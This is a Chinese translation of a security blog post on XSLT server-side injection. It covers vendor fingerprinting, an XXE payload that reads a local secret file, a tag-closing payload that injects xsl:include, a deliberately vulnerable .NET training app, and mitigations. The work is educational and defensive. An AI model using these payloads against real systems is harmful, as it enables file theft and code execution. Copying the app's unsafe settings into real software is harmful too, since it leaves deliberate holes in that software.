译文声明

本文是翻译文章,文章原作者David Turco,文章来源:contextis.com
原文地址:https://www.contextis.com/blog/xslt-server-side-injection-attacks

http://p1.qhimg.com/t01a239ae3a4e15032d.png

写在前面的话

可扩展样式表转换语言(XSLT)漏洞可以给受影响的应用程序带来严重的安全隐患,一般来说,这种漏洞将允许攻击者在目标设备上实现远程代码执行。目前已公开的XSLT远程代码执行漏洞可利用样本有CVE-2012-5357(影响.Net Ektron CMS)、CVE-2012-1592(影响Apache Struts 2.0)和CVE-2005-3757(影响Google搜索工具)。

从上面这几个漏洞样本中我们可以看到,XSLT漏洞已经存在已久了,虽然它不像XML注入、SQL注入或XSS漏洞一样常见,但是我们经常能够在安全审计的过程中发现这种漏洞。不过,目前还没有多少人真正了解针对这种漏洞的利用技术。

在这篇文章中,我们将跟大家分享一些针对XSLT的攻击案例,并让大家了解到这项技术的安全缺陷。简而言之,这种类型的漏洞将允许攻击者实现远程代码执行、从远程系统中窃取数据、执行网络扫描、访问目标用户内部网络资源等恶意活动。

除此之外,我们还提供了一个包含了相关XSLT漏洞的简单应用,并在文章结尾给出了针对此漏洞的缓解方案。

 

XSLT是什么?

XSL(可扩展样式表语言)是一种用于转换XML文档的语言,XSLT表示的就是XSL转换,而XSL转换指的就是XML文档本身。转换后得到的一般都是不同的XML文档或其他类型文档,例如HTML文档、CSV文件以及明文文本文件等等。

一般来说,应用程序或模板引擎在处理不同文件类型时需要使用XSLT来进行数据转换。很多企业级应用比较喜欢使用XSLT,比如说,多用户发票应用程序可以使用XSLT来允许客户自定义它们的发票,客户可以根据自己的需求来修改发票信息以及格式。

其他常见应用:

1.       报告功能

2.       多种格式的数据导出功能;

3.       数据打印和输出功能;

4.       电子邮件;

在介绍攻击技术之前,我们先来看一看数据转换的实例。下面这个XML文件包含有多个水果名称(fruits)以及相关描述:

<?xml version="1.0" ?>
<fruits>
  <fruit>
    <name>Lemon</name>
    <description>Yellow and sour</description>
  </fruit>
  <fruit>
    <name>Watermelon</name>
    <description>Round, green outside, red inside</description>
  </fruit>
</fruits>

接下来,我们可以使用下面这种XSL转换技术来将XML文档转换为明文文本文件:

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    Fruits:
    <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>

转换之后的明文文本文件内容如下:

Fruits:
 
      - Lemon: Yellow and sour
      - Watermelon: Round, green outside, red inside

利用XSLT服务器端注入漏洞

在这一部分,我们将跟大家介绍如何发现并利用应用程序中的XSLT漏洞。下面的样本使用了微软的System.Xml XSLT实现,不过类似的技术也应用到了很多类似Libxslt、Saxon和Xalan等常见代码库上。

 

寻找漏洞切入点

首先我们需要识别出应用程序包含漏洞的部分,一般来说这种漏洞会存在于应用程序允许上传任意XSLT文件的地方。除此之外,如果应用程序存在这种漏洞的话,它很可能会使用不受信任的用户输入来动态生成XSL转换后的XML文档。

比如说,应用程序可以生成下列XSLT文档,而字符串“Your Company Name Here”来自于不受信任的用户输入。

<?xml version=”1.0” encoding=”utf-8”?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    Your Company Name Here
    Fruits:
    <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
  <xsl:include href="external_transform.xslt" rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow" />
</xsl:stylesheet>

为了确认应用程序是否存在这个漏洞,我们可以向其注入一些类似双引号、单引号以及破折号等特殊字符,因为这类字符可以让XML文档中的语句失效。如果服务器返回了错误,那么这个应用就很有可能存在漏洞。需要注意的是,这种方法同样适用于XML注入漏洞。

为了方便演示,我们假设下面给出的样本允许我们提交任意XSLT文档。

 

system-property()函数

不同的代码库所实现的XSLT功能也不同,代码库A实现了的功能代码库B不一定会实现,而且就算实现的是相同的功能,不同代码库的实现方式也不同。一般来说,旧版本的代码库默认会开启很多危险的功能,而新版本代码库的很多功能往往需要开发人员去手动开启。

我们可以使用system-property()函数来查看代码库的开发者名称,该功能符合XSLT v1.0标准,所有的代码库都实现了这种功能。

有效参数:

xsl:vendor
xsl:vendor-url
xsl:version

下列转换可以用来确定代码库的开发者(vendor):

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
                                                                                                  <xsl:value-of select="system-property('xsl:vendor')"/>
  </xsl:template>
</xsl:stylesheet>

由于我们的测试目标使用的是Microsoft .Net System.xml实现,因此返回的结果为“Microsoft”:

Microsoft

XXE与数据提取

除了常见的XML攻击之外,XXE攻击同样可以影响XSLT。在下面的样本中,我们使用一个外部实体读取出了“C:\secretfruit.txt”文件的内容:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    Fruits &ext_file;:
    <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
 
</xsl:stylesheet>

ENTITY元素将文件内容存储在了“ext_file”引用中,随后我们可以用“&ext_file;”语句将内容存储在了主文档中。输出数据则包含了文件中的秘密内容(“Golden Apple”):

Fruits Golden Apple:
 
      - Lemon: Yellow and sour
      - Watermelon: Round, green outside, red inside

这项技术可以用来远程获取存储在本地Web服务器中的文件内容,这些文件可以是包含了凭证数据的配置文件或者是包含了敏感信息的文件等等。除此之外,攻击者还可以通过UNC (\\servername\share\file)路径或者URL (http://servername/file)来获取目标内部网络系统中托管的文件。

 

Import和Include

import和include标签可以用来合并多个XSLT文档,如果我们只能在XSLT文档中间注入内容的话,我们也许就不能直接使用XML外部实体(XXE)攻击或脚本来进行攻击了,因为这些攻击技术要求我们在文档头部实现内容注入。

我们还是使用之前那个XSLT文档来进行演示:

<?xml version=”1.0” encoding=”utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    Your Company Name Here
    Fruits:
                                                                                                                          <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
  <xsl:include href="external_transform.xslt" rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow" />
</xsl:stylesheet>

我们需要include下面这个名为“external_transform.xslt”的外部XSLT文件:

<?xml version=”1.0” encoding=”utf-8”?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
                                                                                                                       Hello from the external transformation
    </xsl:template>
</xsl:stylesheet>

为了include外部文档,我们需要注入下列标签:

<xsl:include href="external_transform.xslt" rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow" />

但是这里有一个问题,即“xsl:include”标签无法包含在一个“xsl:template”标签中,而且生成的文件必须是XML文档。

因此,我们首先需要闭合“xsl:template”标签,然后添加“xsl:include”标签,最终的Payload如下:

</xsl:template><xsl:include href="external_transform.xslt" rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow" /><xsl:template name="a">

注入完成之后,生成的XSLT文档如下:

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    </xsl:template><xsl:include href="external_transform.xslt" rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow" /><xsl:template name="a">
    Fruits:
    <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
  <xsl:include href="external_transform.xslt" rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow"  rel="external nofollow" />
</xsl:stylesheet>

转换结果如下:

Hello from the external transformation

注:在XXE和document()函数的帮助下,“include”和“import”标签同样可以用来进行提取数据以及端口扫描等操作。

 

可用于测试XSLT漏洞的App

为了给大家提供一种快速测试Payload的方法,我们专门开发了一款包含XSLT漏洞的小型.Net应用,这款应用使用了.Net的System.Xml实现。

下面给出的是应用的源代码,你可以使用Microsoft Visual Studio对其进行编译。应用程序的源代码以及编译版本可点击【这里】获取。源代码如下:

using System;
using System.Xml;
using System.Xml.Xsl;
 
namespace XsltConsoleApplication
{
    class Program
    {
        /*
        This code contains serious vulnerabilities and is provided for training purposes only!
        DO NOT USE ANYWHERE FOR ANYTHING ELSE!!!
        */
        static void Main(string[] args)
        {
            Console.WriteLine("\n#####################################################################");
            Console.WriteLine("#                                                                   #");
            Console.WriteLine("# This is a Vulnerable-by-Design application to test XSLT Injection #");
            Console.WriteLine("#                                                                   #");
            Console.WriteLine("#####################################################################\n");
            Console.WriteLine("The application expects (in the current working directory):");
            Console.WriteLine(" - an XML file (data.xml) and\n - an XSLT style sheet (transform.xslt)\n");
            Console.WriteLine("===================================================================");
 
            String transformationXsltFileURI = "transform.xslt";
            String dataXMLFileURI = "data.xml";
 
            // Enable DTD processing to load external XML entities for both the XML and XSLT file
            XmlReaderSettings vulnerableXmlReaderSettings = new XmlReaderSettings();
            vulnerableXmlReaderSettings.DtdProcessing = DtdProcessing.Parse;
            vulnerableXmlReaderSettings.XmlResolver = new XmlUrlResolver();
            XmlReader vulnerableXsltReader = XmlReader.Create(transformationXsltFileURI, vulnerableXmlReaderSettings);
            XmlReader vulnerableXmlReader = XmlReader.Create(dataXMLFileURI, vulnerableXmlReaderSettings);
 
            XsltSettings vulnerableSettings = new XsltSettings();
            // Embedded script blocks and the document() function are NOT enabled by default
            vulnerableSettings.EnableDocumentFunction = true;
            vulnerableSettings.EnableScript = true;
            // A vulnerable settings class can also be created with:
            // vulnerableSettings = XsltSettings.TrustedXslt;
 
            XslCompiledTransform vulnerableTransformation = new XslCompiledTransform();
            // XmlUrlResolver is the default resolver for XML and XSLT and supports the file: and http: protocols
            XmlUrlResolver vulnerableResolver = new XmlUrlResolver();
            vulnerableTransformation.Load(vulnerableXsltReader, vulnerableSettings, vulnerableResolver);  
 
            XmlWriter output = new XmlTextWriter(Console.Out);
 
            // Run the transformation
            vulnerableTransformation.Transform(vulnerableXmlReader, output);   
 
        }
    }
}

注:该应用要求当前工作目录中存储data.xml和transformation.xslt文件。

 

缓解方案

如果你的应用程序使用了XSLT,那我建议你可以考虑以下缓解方案:

1.       尽可能避免用户提供的XSLT文档;

2.       不要使用不受信任的输入来生成XSLT文档,例如拼接的字符串。如果你需要使用非静态值,你可以选择从XML数据文件或者XSLT文档中获取。

3.       禁用XSLT代码库实现的所有危险功能,因为代码库的默认配置通常都是不安全的。确保禁用嵌入式脚本扩展,以及其他允许读写外部文件的专用扩展。

如果你想了解更多关于热门XSLT代码库的功能以及相应的默认配置,可以参考Emanuel Duss 和Roland Bischofberger发布的文档【参考文献】。

 

总结

对于很多应用程序来说,XSLT虽然是一种功能强大的工具,但它也有很多不为人知的弱点。不良的编码习惯将有可能让应用程序出现安全漏洞,而这些漏洞将有可能允许攻击者远程控制你的应用程序并从中提取数据。